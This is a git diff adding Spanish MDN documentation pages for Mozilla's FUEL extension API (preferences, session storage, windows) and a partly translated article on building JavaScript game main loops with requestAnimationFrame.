+slug: FUEL/Extension
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIExtension
+---
+<h2 id="Resumen_de_m.C3.A9todo" name="Resumen_de_m.C3.A9todo">Resumen de método</h2>
+
+<table class="standard-table">
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>La identidad de la extensión.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El nombre de la extensión.</td>
+  </tr>
+  <tr>
+   <td><code>version</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El número de versión de la extensión.</td>
+  </tr>
+  <tr>
+   <td><code>firstRun</code></td>
+   <td><code>atributo boleano de solo-lectura</code></td>
+   <td>Indica si esta es la primera ejecución después de la instalación.</td>
+  </tr>
+  <tr>
+   <td><code>prefs</code></td>
+   <td><code>atributo de solo-lectura fuelIPreferenceBranch</code></td>
+   <td>El objeto preferencias de la extensión. El valor por defecto es la rama "extensions.&lt;extensionid&gt;.".</td>
+  </tr>
+  <tr>
+   <td><code>storage</code></td>
+   <td><code>atributo de solo-lectura fuelISessionStorage</code></td>
+   <td>El objeto storage de la extensión</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos de la extensión. Valor posible: "uninstall"</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/fuel/extensions/index.html b/files/es/fuel/extensions/index.html
new file mode 100644
index 0000000000..231329fe91
--- /dev/null
+++ b/files/es/fuel/extensions/index.html
@@ -0,0 +1,77 @@
+---
+title: Extensions
+slug: FUEL/Extensions
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIExtensions
+---
+<h2 id="Resumen_de_métodos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>Expresión booleana <a href="#has.28.29">has</a>(en AString aId)</code></td>
+  </tr>
+  <tr>
+   <td><code>fuelIExtension <a href="#get.28.29">get</a>(en AString aId)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>all</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Es un arreglo de fuelIExtension que contiene todas las extensiones en la aplicación.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="has.28.29" name="has.28.29">has()</h3>
+
+<p>Determina si existe una extensión con un nombre "id" determinado.</p>
+
+<pre class="eval">boolean has(in AString aId)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt><code>aId</code></dt>
+ <dd>La id de una extensión.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>es "true" (verdadero) si existe una extensión con ese "id", y "false" (falso) en caso contrario.</p>
+
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+
+<p>Recoge un objeto de la extensión con una determinada id.</p>
+
+<pre class="eval">fuelIExtension get(in AString aId)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt><code>aId</code></dt>
+ <dd>El id de una extensión.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>Un <span style="color: #3366ff;"><u>objeto de la extensión</u></span> o <em>null</em> si no hay una extensión con el id especificado.</p>
diff --git a/files/es/fuel/index.html b/files/es/fuel/index.html
new file mode 100644
index 0000000000..51c16b0424
--- /dev/null
+++ b/files/es/fuel/index.html
@@ -0,0 +1,33 @@
+---
+title: FUEL
+slug: FUEL
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/Toolkit_API/FUEL
+---
+<p>FUEL es una librería de JavaScript diseñada para ayudar a los desarrolladores a construir extensiones usando una terminología y un interfaz familiares. FUEL es nuevo en Firefox 3 y podrá ser usado también para Firefox 2.
+</p><p>La intención es que FUEL permita a los desarrolladores ser productivos reduciendo las formalidades del XPCOM mientras añade algunas ideas "modernas" de JavaScript. Queremos empezar con áreas a las que podemos sacar el mayor beneficio. </p>
+<h3 id="Objetos"> Objetos </h3>
+<ul><li> <a href="es/FUEL/Annotations"> Anotaciones</a>
+</li><li> <a href="es/FUEL/Application"> Aplicación</a>
+</li><li> <a href="es/FUEL/Bookmark"> Marcador</a>
+</li><li> <a href="es/FUEL/BookmarkFolder"> Carpeta de Marcadores</a>
+</li><li> <a href="es/FUEL/BrowserTab"> Pestaña del navegador</a>
+</li><li> <a href="es/FUEL/Console"> Consola</a>
+</li><li> <a href="es/FUEL/EventItem"> Evento</a>
+</li><li> <a href="es/FUEL/EventListener"> EventListener</a>
+</li><li> <a href="es/FUEL/Events"> Eventos</a>
+</li><li> <a href="es/FUEL/Extension"> Extensión</a>
+</li><li> <a href="es/FUEL/Extensions"> Extensiones</a>
+</li><li> <a href="es/FUEL/Preference"> Preferencias</a>
+</li><li> <a href="es/FUEL/PreferenceBranch"> Árbol de preferencias</a>
+</li><li> <a href="es/FUEL/SessionStorage"> SessionStorage</a>
+</li><li> <a href="es/FUEL/Window"> Window</a>
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/fuel/preference/index.html b/files/es/fuel/preference/index.html
new file mode 100644
index 0000000000..77ad8ebc1b
--- /dev/null
+++ b/files/es/fuel/preference/index.html
@@ -0,0 +1,81 @@
+---
+title: Preference
+slug: FUEL/Preference
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/SMILE/smileIWindow
+---
+<h2 id="Resumen_de_método">Resumen de método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#reset.28.29">reset</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El nombre de la preferencia.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>Una cadena conteniendo el tipo de preferencia. Valores posibles: "String", "Boolean", o "Number".</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td><code>atributo nsIVariant</code></td>
+   <td>Lee o pone el vaslor de la preferencia.</td>
+  </tr>
+  <tr>
+   <td><code>locked</code></td>
+   <td><code>atributo boleano</code></td>
+   <td>Lee el estado de bloqueo de la preferencia. Para des/bloquear, ajustar a un valor boleano.</td>
+  </tr>
+  <tr>
+   <td><code>modified</code></td>
+   <td><code>atributo boleano de solo-lectura</code></td>
+   <td>Comprueba si una preferencia a sido cambiada por el usuario o no.</td>
+  </tr>
+  <tr>
+   <td><code>branch</code></td>
+   <td><code>atributo de solo-lectura fuelIPreferenceBranch</code></td>
+   <td>La rama de preferencia a la que corresponde la preferencia.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto de eventos para esta preferencia. Admite: "change"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="reset.28.29" name="reset.28.29">reset()</h3>
+
+<p>Devuelve las preferencias a sus valores originales.</p>
+
+<pre class="eval">void reset()
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p> </p>
diff --git a/files/es/fuel/preferencebranch/index.html b/files/es/fuel/preferencebranch/index.html
new file mode 100644
index 0000000000..eb3adf22be
--- /dev/null
+++ b/files/es/fuel/preferencebranch/index.html
@@ -0,0 +1,147 @@
+---
+title: PreferenceBranch
+slug: FUEL/PreferenceBranch
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIPreferenceBranch
+---
+<h2 id="Resumen_de_métodos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>boolean <a href="#has.28.29">has</a>(in AString aName)</code></td>
+  </tr>
+  <tr>
+   <td><code>fuelIPreference <a href="#get.28.29">get</a>(in AString aName)</code></td>
+  </tr>
+  <tr>
+   <td><code>nsIVariant <a href="#getValue.28.29">getValue</a>(in AString aName, in nsIVariant aDefaultValue)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setValue.28.29">setValue</a>(in AString aName, in nsIVariant aValue)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#reset.28.29">reset</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributos</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>root</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El nombre de la rama raíz.</td>
+  </tr>
+  <tr>
+   <td><code>all</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Array de fuelIPreference conteniendo todas las preferencias en esta rama.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto de eventos para las preferencias. Admite: "change"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="has.28.29" name="has.28.29">has()</h3>
+
+<p>Comprueba si existe una preferencia.</p>
+
+<pre class="eval">boolean has(in AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la preferencia</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>"true" si la preferencia existe o "false" en caso contrario.</p>
+
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+
+<p>Recoje un objeto que representa una preferencia.</p>
+
+<pre class="eval">fuelIPreference get(in AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la preferencia.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>un objeto de tipo preferencia o "null" si la preferencia no existe.</p>
+
+<h3 id="getValue.28.29" name="getValue.28.29">getValue()</h3>
+
+<p>Recoje el valor de una preferencia. Devuelve el valor por defecto si la preferencia no existe.</p>
+
+<pre class="eval">nsIVariant getValue(in AString aName, in nsIVariant aDefaultValue)
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la preferencia</dd>
+ <dt>aDefaultValue</dt>
+ <dd>El valor por defecto de la preferencia</dd>
+</dl>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p>valor de la preferencia o el valor por defecto predeterminado, si la preferencia no existe.</p>
+
+<h3 id="setValue.28.29" name="setValue.28.29">setValue()</h3>
+
+<p>Pone el valor a una preferencia con un nombre determinado.</p>
+
+<pre class="eval">void setValue(in AString aName, in nsIVariant aValue)
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la preferencia</dd>
+ <dt>aValue</dt>
+ <dd>El valor de la preferencia</dd>
+</dl>
+
+<h6 id="Valor_devuelto_4" name="Valor_devuelto_4">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="reset.28.29" name="reset.28.29">reset()</h3>
+
+<p>Vuelve todas las preferencias en una rama, a su valor por defecto.</p>
+
+<pre class="eval">void reset()
+</pre>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<h6 id="Valor_devuelto_5" name="Valor_devuelto_5">Valor devuelto</h6>
diff --git a/files/es/fuel/sessionstorage/index.html b/files/es/fuel/sessionstorage/index.html
new file mode 100644
index 0000000000..f7a7655d6b
--- /dev/null
+++ b/files/es/fuel/sessionstorage/index.html
@@ -0,0 +1,97 @@
+---
+title: SessionStorage
+slug: FUEL/SessionStorage
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extISessionStorage
+---
+<h2 id="Resumen_de_m.C3.A9todos" name="Resumen_de_m.C3.A9todos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>boolean <a href="#has.28.29">has</a>(in AString aName)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#set.28.29">set</a>(in AString aName, in nsIVariant aValue)</code></td>
+  </tr>
+  <tr>
+   <td><code>nsIVariant <a href="#get.28.29">get</a>(in AString aName, in nsIVariant aDefaultValue)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripciónn</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos para el almacenamiento. Admite: "change"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="has.28.29" name="has.28.29">has()</h3>
+
+<p>Determina si un elemnto de almacenamiento existe con el nombre determinado.</p>
+
+<pre class="eval">boolean has(in AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre del objeto.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>"true" si existe un objeto con el nombre dado o "false" en caso contrario.</p>
+
+<h3 id="set.28.29" name="set.28.29">set()</h3>
+
+<p>Ajusta el valor de un objeto de almacenamiento con en determinado nombre.</p>
+
+<pre class="eval">void set(in AString aName, in nsIVariant aValue)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dd>El nombre del objeto.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+
+<p>Recoge el valor de almacenamiento de un objeto con un nombre determinado. Si el nombre no existe, se devuelve un valor por defecto.</p>
+
+<pre class="eval">nsIVariant get(in AString aName, in nsIVariant aDefaultValue)
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre del objeto.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p>el valor del objeto o el valor por defecto si no existe un objeto con el nombre dado.</p>
diff --git a/files/es/fuel/window/index.html b/files/es/fuel/window/index.html
new file mode 100644
index 0000000000..3420126809
--- /dev/null
+++ b/files/es/fuel/window/index.html
@@ -0,0 +1,87 @@
+---
+title: Window
+slug: FUEL/Window
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/FUEL/fuelIWindow
+---
+<p> </p>
+
+
+<p> </p>
+
+<h2 id="Resumen_de_m.C3.A9todo" name="Resumen_de_m.C3.A9todo">Resumen de método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>fuelIBrowserTab <a href="#open.28.29">open</a>(in nsIURI aURI)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>tabs</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Una colección de pestañas dentro de la ventana del navegador.</td>
+  </tr>
+  <tr>
+   <td><code>activeTab</code></td>
+   <td><code>atributo de solo-lectura fuelIBrowserTab</code></td>
+   <td>La pestaña actualmente activa en la ventana del navegador.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos de la ventana del navegador. Valores posibles: "TabOpen", "TabClose", "TabMove", "TabSelect"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="open.28.29" name="open.28.29">open()</h3>
+
+<p>Abre una nueva pestaña en el navegador, apuntando a la URI especificada.</p>
+
+<pre class="eval">fuelIBrowserTab open(in nsIURI aURI)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aURI</dt>
+ <dd>La dirección URI a la que apuntará la pestaña.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<pre>// Helper for making nsURI from string
+function url(spec) {
+  var ios = Components.classes["@mozilla.org/network/io-service;1"].getService(Components.interfaces.nsIIOService);
+  return ios.newURI(spec, null, null);
+}
+
+function onTabOpen(event) {
+  alert("abierta");
+}
+
+var activeWin = Application.activeWindow;
+activeWin.events.addListener("TabOpen", onTabOpen);
+
+var browserTab = activeWin.open(url("http://mozilla.org"));
+</pre>
diff --git a/files/es/funciones/index.html b/files/es/funciones/index.html
new file mode 100644
index 0000000000..8fdf449542
--- /dev/null
+++ b/files/es/funciones/index.html
@@ -0,0 +1,8 @@
+---
+title: Funciones
+slug: Funciones
+tags:
+  - Funciones
+---
+<p>Aquí necesitamos una lista completa de Funciones de XPCOM, algo parecido a la lista de <a href="es/Interfaces">Interfaces</a>.
+</p>
diff --git a/files/es/games/anatomy/index.html b/files/es/games/anatomy/index.html
new file mode 100644
index 0000000000..799f31f931
--- /dev/null
+++ b/files/es/games/anatomy/index.html
@@ -0,0 +1,325 @@
+---
+title: Anatomy of a video game
+slug: Games/Anatomy
+tags:
+  - Bucle
+  - JavaScript
+  - juegos
+translation_of: Games/Anatomy
+---
+<div>{{GamesSidebar}}</div><p>{{IncludeSubnav("/en-US/docs/Games")}}</p>
+
+<div class="summary">
+<p><span class="seoSummary">Este artículo es un vistazo a la anatomía y flujo de trabajo del videojuego medio desde un punto de vista técnico, en términos de cómo debería funcionar el bucle principal. Ayuda a los principiantes del desarrollo moderno de videojuegos a entender lo que hace falta al construir un juego y cómo los estándares web como JavaScript se prestan como herramientas. Los programadores de juegos experimentados que sean novatos en el desarrollo web también se pueden beneficiar.</span></p>
+</div>
+
+<h2 id="Presentar_aceptar_traducir_calcular_repetir">Presentar, aceptar, traducir, calcular, repetir</h2>
+
+<p>El objetivo de todo videojuego es <strong>presentar</strong> al usuario una situación, <strong>aceptar</strong> su entrada, <strong>traducir</strong> esas señales a acciones, y <strong>calcular</strong> una nueva situación a partir de esos actos. Los juegos están iterando continuamente por estas etapas, una y otra vez, hasta que ocurre alguna condición final (como ganas, perder, o salirse para ir a la cama). De forma poco sorpresiva, este patrón corresponde a cómo se programa el motor de un juego.</p>
+
+<p>Los detalles dependen del juego.</p>
+
+<p>Algunos juegos dirigen este ciclo con la entrada del usuario. Imagina que estás desarrollando un juego del tipo <em>"encuentra las diferencias entre estas dos imágenes similares"</em>. Estos juegos <strong>presentan</strong> dos imágenes al usuario; <strong>aceptan</strong> sus clics (o toques); <strong>interpretan</strong> la entrada como éxito, fallo, pausa, interacción del menú, etc; y finalmente, calculan una escena actualizada resultante de esa entrada. El bucle del juego avanza con la entrada del usuario, y se queda en espera hasta que ésta se produce. Esto es más bien un enfoque basado por turnos que no requiere una actualización constante cada frame, sólo cuando el jugador reacciona.</p>
+
+<p>Otros juegos requieren control sobre cada uno de los más pequeños aspectos posibles. Se aplican los mismos principios de antes, con una ligera variación: cada frame de la animación hace progresar el ciclo, y cualquier cambio en la entrada del usuario se captura en el primer turno disponible. Este modelo de <em>una-vez-por-frame</em> se implementa en algo llamado <strong>bucle principal</strong>. Si el bucle de tu juego está basado en tiempo, éste será una ley a la que se tendrán que atener tus simulaciones.</p>
+
+<p>Pero puede no necesitar de un control <em>por-frame</em>. El bucle de tu juego podría ser similar al ejemplo de <em>encuentra las diferencias</em>, y basarse en las entradas del usuario. Podría necesitar tanto entradas como tiempo simulado. Podría incluso estar totalmente basado en algo diferente.</p>
+
+<p>Por suerte, el JavaScript moderno (que se describe en las siguientes secciones) hace sencillo desarrollar un bucle principal eficiente, tipo <em>ejecutar-una-vez-por-frame</em>. Por supuesto, estará tan optimizado como tú lo hagas. Si algo parece que debería ir acoplado a un evento más infrecuente, suele ser una buena idea (aunque no siempre) sacarlo fuera del bucle principal.</p>
+
+<h2 id="Crear_un_bucle_principal_en_JavaScript">Crear un bucle principal en JavaScript</h2>
+
+<p>JavaScript funciona mejor con eventos y funciones callback. Los navegadores modernos se esfuerzan en invocar los métodos sólo en cuanto se necesita, y reposar (o hacer otras tareas) en los intervalos. Es una idea excelente añadir tu código a los momentos apropiados. Considera si tu función necesita de verdad ser invocada en un intervalo estricto de tiempo, a cada frame, o sólo cuando haya ocurrido alguna otra cosa. Especificándole al navegador cuándo tiene que ser invocada tu función le permite optimizarla. Además, probablemente haga tu trabajo más fácil.</p>
+
+<p>Algún código necesita ejecutarse frame a frame, así que ¿por qué añadir esa función a cualquier otra cosa que al planificador de redibulado del navegador? En la web, <code>{{ domxref("window.requestAnimationFrame()") }} </code>será la base de la mayoría de bucles principales frame-a-frame bien programados. Al invocarla, hay que pasarle una función callback. Esa función callback se ejecutará en el momento apropiado antes del próximo redibujado. Aquí hay un ejemplo de un bucle principal sencillo:</p>
+
+<pre>window.main = function () {
+  window.requestAnimationFrame( main );
+
+  // Lo que sea que tenga que hacer tu bucle principal
+};
+
+main(); // Empezar el ciclo</pre>
+
+<p><strong>Note</strong>: In each of the <code>main()</code> methods discussed here, we schedule a new <code>requestAnimationFrame</code> before performing our loop contents. That is not by accident and it is considered best practice. Calling the next <code>requestAnimationFrame</code> early ensures the browser receives it on time to plan accordingly even if your current frame misses its VSync window.</p>
+
+<p>The above chunk of code has two statements. The first statement creates a function as a global variable called <code>main()</code>. This function does some work and also tells the browser to call itself next frame with <code>window.requestAnimationFrame()</code>. The second statement calls the <code>main()</code> function, defined in the first statement. Because <code>main()</code> is called once in the second statement and every call of it places itself in the queue of things to do next frame, <code>main()</code> is synchronized to your framerate.</p>
+
+<p>Of course this loop is not perfect. Before we discuss ways to change it, let us discuss what it already does well.</p>
+
+<p>Timing the main loop to when the browser paints to the display allows you to run your loop as frequently as the browser wants to paint. You are given control over each frame of animation. It is also very simple because <code>main()</code> is the only function getting looped. A First Person Shooter (or a similar game) presents a new scene once every frame. You cannot really get more smooth and responsive than that.</p>
+
+<p>But do not immediately assume animations require frame-by-frame control. Simple animations can be easily performed, even GPU-accelerated, with CSS animations and other tools included in the browser. There are a lot of them and they will make your life easier.</p>
+
+<h2 id="Building_a_better_main_loop_in_Javascript">Building a <em>better</em> main loop in Javascript</h2>
+
+<p>There are two obvious issues with our previous main loop: <code>main()</code> pollutes the <code>{{ domxref("window") }}</code> object (where all global variables are stored) and the example code did not leave us with a way to <em>stop</em> the loop unless the whole tab is closed or refreshed. For the first issue, if you want the main loop to just run and you do not need easy (direct) access to it, you could create it as an Immediately-Invoked Function Expression (IIFE).</p>
+
+<pre>/*
+* Starting with the semicolon is in case whatever line of code above this example
+* relied on automatic semicolon insertion (ASI). The browser could accidentally
+* think this whole example continues from the previous line. The leading semicolon
+* marks the beginning of our new line if the previous one was not empty or terminated.
+*/
+
+;(function () {
+  function main() {
+    window.requestAnimationFrame( main );
+
+    // Your main loop contents.
+  }
+
+  main(); // Start the cycle
+})();</pre>
+
+<p>When the browser comes across this IIFE, it will define your main loop and immediately queue it for the next frame. It will not be attached to any object and <code>main</code> (or <code>main()</code> for methods) will be a valid unused name in the rest of the application, free to be defined as something else.</p>
+
+<p>Note: In practice, it is more common to prevent the next requestAnimationFrame() with an if-statement, rather than calling cancelAnimationFrame().</p>
+
+<p>For the second issue, stopping the main loop, you will need to cancel the call to <code>main()</code> with <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. You will need to pass <code>cancelAnimationFrame()</code> the ID token given by <code>requestAnimationFrame()</code> when it was last called. Let us assume that your game's functions and variables are built on a namespace that you called <code>MyGame</code>. Expanding our last example, the main loop would now look like:</p>
+
+<pre>/*
+* Starting with the semicolon is in case whatever line of code above this example
+* relied on automatic semicolon insertion (ASI). The browser could accidentally
+* think this whole example continues from the previous line. The leading semicolon
+* marks the beginning of our new line if the previous one was not empty or terminated.
+*
+* Let us also assume that MyGame is previously defined.
+*/
+
+;(function () {
+  function main() {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    // Your main loop contents.
+  }
+
+  main(); // Start the cycle
+})();</pre>
+
+<p>We now have a variable declared in our <code>MyGame</code> namespace, which we call <code>stopMain</code>, that contains the ID returned from our main loop's most recent call to <code>requestAnimationFrame()</code>. At any point, we can stop the main loop by telling the browser to cancel the request that corresponds to our token.</p>
+
+<pre>window.cancelAnimationFrame( MyGame.stopMain );</pre>
+
+<p>The key to programming a main loop, in JavaScript, is to it attach to whatever event should be driving your action and pay attention to how the different systems involved interplay. You may have multiple components driven by multiple different types of events. This feels like unnecessary complexity but it might just be good optimization (not necessarily, of course). The problem is that you are not programming a typical main loop. In Javascript, you are using the browser's main loop and you are trying to do so effectively.</p>
+
+<h2 id="Building_a_more_optimized_main_loop_in_JavaScript">Building a <em>more</em> <em>optimized</em> main loop in JavaScript</h2>
+
+<p>Ultimately, in JavaScript, the browser is running its own main loop and your code exists in some of its stages. The above sections describe main loops which try not to wrestle away control from the browser. These main methods attach themselves to <code>window.requestAnimationFrame()</code>, which asks the browser for control over the upcoming frame. It is up to the browser how to relate these requests to their main loop. The <a href="http://www.w3.org/TR/animation-timing/">W3C spec for requestAnimationFrame</a> does not really define exactly when the browsers must perform the requestAnimationFrame callbacks. This can be a benefit because it leaves browser vendors free to experiment with the solutions that they feel are best and tweak it over time.</p>
+
+<p>Modern versions of Firefox and Google Chrome (and probably others) <em>attempt</em> to connect <code>requestAnimationFrame</code> callbacks to their main thread at the very beginning of a frame's timeslice. The browser's main thread thus <em>tries</em> to look like the following:</p>
+
+<ol>
+ <li>Start a new frame (while the previous frame is handled by the display).</li>
+ <li>Go through the list of <code>requestAnimationFrame</code> callbacks and invoke them.</li>
+ <li>Perform garbage collection and other per-frame tasks when the above callbacks stop controlling the main thread.</li>
+ <li>Sleep (unless an event interrupts the browser's nap) until the monitor is ready for your image (<a href="http://www.techopedia.com/definition/92/vertical-sync-vsync">VSync</a>) and repeat.</li>
+</ol>
+
+<p>You can think about developing realtime applications as having a budget of time to do work. All of the above steps must take place every 16-and-a-half milliseconds to keep up with a 60 Hz display. Browsers invoke your code as early as possible to give it maximum computation time. Your main thread will often start workloads that are not even on the main thread (such as rasterization or shaders in WebGL). Long calculations can be performed on a Web Worker or a GPU at the same time as the browser uses its main thread to manage garbage collection, its other tasks, or handle asynchronous events.</p>
+
+<p>While we are on the topic of budgeting time, many web browsers have a tool called <em>High Resolution Time</em>. The {{ domxref("Date") }} object is no longer the recognised method for timing events because it is very imprecise and can be modified by the system clock. High Resolution Time, on the other hand, counts the number of milliseconds since <code>navigationStart</code> (when the previous document is unloaded). This value is returned as a decimal number accurate to a thousandth of a millisecond. It is known as a <code>{{ domxref("DOMHighResTimeStamp") }}</code> but, for all intents and purposes, consider it a floating point number.</p>
+
+<p><strong>Note</strong>: Systems (hardware or software) that are not capable of microsecond accuracy are allowed to provide millisecond accuracy as a minimum. They should provide 0.001ms accuracy if they are capable of it, however.</p>
+
+<p>This value is not too useful alone, since it is relative to a fairly uninteresting event, but it can be subtracted from another timestamp to accurately and precisely determine how much time elapsed between those two points. To acquire one of these timestamps, you can call <code>window.performance.now()</code> and store the result as a variable.</p>
+
+<pre>var tNow = window.performance.now();
+</pre>
+
